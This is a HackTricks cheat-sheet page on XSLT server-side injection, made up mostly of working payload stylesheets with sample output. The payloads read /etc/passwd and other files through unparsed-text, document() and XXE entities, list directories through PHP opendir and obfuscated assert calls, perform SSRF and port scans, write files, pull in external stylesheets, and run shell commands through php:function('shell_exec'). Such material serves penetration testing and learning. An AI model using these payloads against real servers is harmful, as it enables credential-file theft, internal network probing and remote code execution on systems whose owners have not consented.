XSLT Server Side Injection (Extensible Stylesheet Language Transformations) - HackTricks

# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.

The frameworks that are most frequently used include:

- Libxslt from Gnome,
- Xalan from Apache,
- Saxon from Saxonica.

For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

## Example - Tutorial

    sudo apt-get install default-jdk
    sudo apt-get install libsaxonb-java libsaxon-java

    <?xml version="1.0" encoding="UTF-8"?>
    <catalog>
        <cd>
            <title>CD Title</title>
            <artist>The artist</artist>
            <company>Da Company</company>
            <price>10000</price>
            <year>1760</year>
        </cd>
    </catalog>

    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
        <html>
        <body>
        <h2>The Super title</h2>
        <table border="1">
            <tr bgcolor="#9acd32">
                <th>Title</th>
                <th>artist</th>
            </tr>
            <tr>
            <td><xsl:value-of select="catalog/cd/title"/></td>
            <td><xsl:value-of select="catalog/cd/artist"/></td>
            </tr>
        </table>
        </body>
        </html>
    </xsl:template>
    </xsl:stylesheet>

Execute:

    saxonb-xslt -xsl:xsl.xsl xml.xml

    Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
      Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
    <html>
       <body>
          <h2>The Super title</h2>
          <table border="1">
             <tr bgcolor="#9acd32">
                <th>Title</th>
                <th>artist</th>
             </tr>
             <tr>
                <td>CD Title</td>
                <td>The artist</td>
             </tr>
          </table>
       </body>
    </html>

### Fingerprint

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
     Version: <xsl:value-of select="system-property('xsl:version')" /><br />
     Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
     Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
     <xsl:if test="system-property('xsl:product-name')">
     Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:product-version')">
     Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:is-schema-aware')">
     Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:supports-serialization')">
     Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
    /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
     Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
    /><br />
     </xsl:if>
    </xsl:template>
    </xsl:stylesheet>

And execute

    $saxonb-xslt -xsl:detection.xsl xml.xml

    Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
      Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
    <h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

### Read Local File

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    <xsl:template match="/">
    <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
    </xsl:template>
    </xsl:stylesheet>

    $ saxonb-xslt -xsl:read.xsl xml.xml

    Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
      Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
    <?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

### SSRF

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    <xsl:include href="http://127.0.0.1:8000/xslt"/>
    <xsl:template match="/">
    </xsl:template>
    </xsl:stylesheet>

### Versions

There might be more or less functions depending on the XSLT version used:

- https://www.w3.org/TR/xslt-10/
- https://www.w3.org/TR/xslt20/
- https://www.w3.org/TR/xslt-30/

## Fingerprint

Upload this and take information

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
     Version: <xsl:value-of select="system-property('xsl:version')" /><br />
     Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
     Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
     <xsl:if test="system-property('xsl:product-name')">
     Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:product-version')">
     Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:is-schema-aware')">
     Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:supports-serialization')">
     Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
    /><br />
     </xsl:if>
     <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
     Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
    /><br />
     </xsl:if>
    </xsl:template>
    </xsl:stylesheet>

## SSRF

    <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
    </esi:include>

## Javascript Injection

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
    <script>confirm("We're good");</script>
    </xsl:template>
    </xsl:stylesheet>

## Directory listing (PHP)

### Opendir + readdir

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    <xsl:template match="/">
    <xsl:value-of select="php:function('opendir','/path/to/dir')"/>
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    <xsl:value-of select="php:function('readdir')"/> -
    </xsl:template></xsl:stylesheet>

### Assert (var_dump + scandir + false)

    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
        <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
            <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
            <br />
        </body>
    </html>

## Read files

### Internal - PHP

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    <xsl:template match="/">
    <xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
    </xsl:template>
    </xsl:stylesheet>

### Internal - XXE

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
    &ext_file;
    </xsl:template>
    </xsl:stylesheet>

### Through HTTP

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
    <xsl:value-of select="document('/etc/passwd')"/>
    </xsl:template>
    </xsl:stylesheet>

    <!DOCTYPE xsl:stylesheet [
    <!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
    <xsl:template match="/">
    &passwd;
    </xsl:template>

### Internal (PHP-function)

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    <xsl:template match="/">
    <xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
    </xsl:template>
    </xsl:stylesheet>

    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
        <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
            <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
            <br />
        </body>
    </html>

### Port scan

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    <xsl:template match="/">
    <xsl:value-of select="document('http://example.com:22')"/>
    </xsl:template>
    </xsl:stylesheet>

## Write to a file

### XSLT 2.0

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    <xsl:template match="/">
    <xsl:result-document href="local_file.txt">
    <xsl:text>Write Local File</xsl:text>
    </xsl:result-document>
    </xsl:template>
    </xsl:stylesheet>

### Xalan-J extension

    <xsl:template match="/">
    <redirect:open file="local_file.txt"/>
    <redirect:write file="local_file.txt"/> Write Local File</redirect:write>
    <redirect:close file="loxal_file.txt"/>
    </xsl:template>

Other ways to write files in the PDF

## Include external XSL

    <xsl:include href="http://extenal.web/external.xsl"/>

    <?xml version="1.0" ?>
    <?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

## Execute code

### php:function

    <?xml version="1.0" encoding="utf-8"?>
    <xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl" >
    <xsl:template match="/">
    <xsl:value-of select="php:function('shell_exec','sleep 10')" />
    </xsl:template>
    </xsl:stylesheet>

    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
    <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
    <br />
    </body>
    </html>

Execute code using other frameworks in the PDF

### More Languages

In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

## Access PHP static functions from classes

The following function will call the static method `stringToUrl` of the class XSL:

    <!--- More complex test to call php class function-->
    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
    version="1.0">
    <xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
    <xsl:template match="root">
    <html>
    <!-- We use the php suffix to call the static class function stringToUrl() -->
    <xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
    <!-- Output: 'une_superstring ao modifier' -->
    </html>
    </xsl:template>
    </xsl:stylesheet>

(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

## More Payloads

- Check https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection
- Check https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection

## Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt

## References

- XSLT_SSRF
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.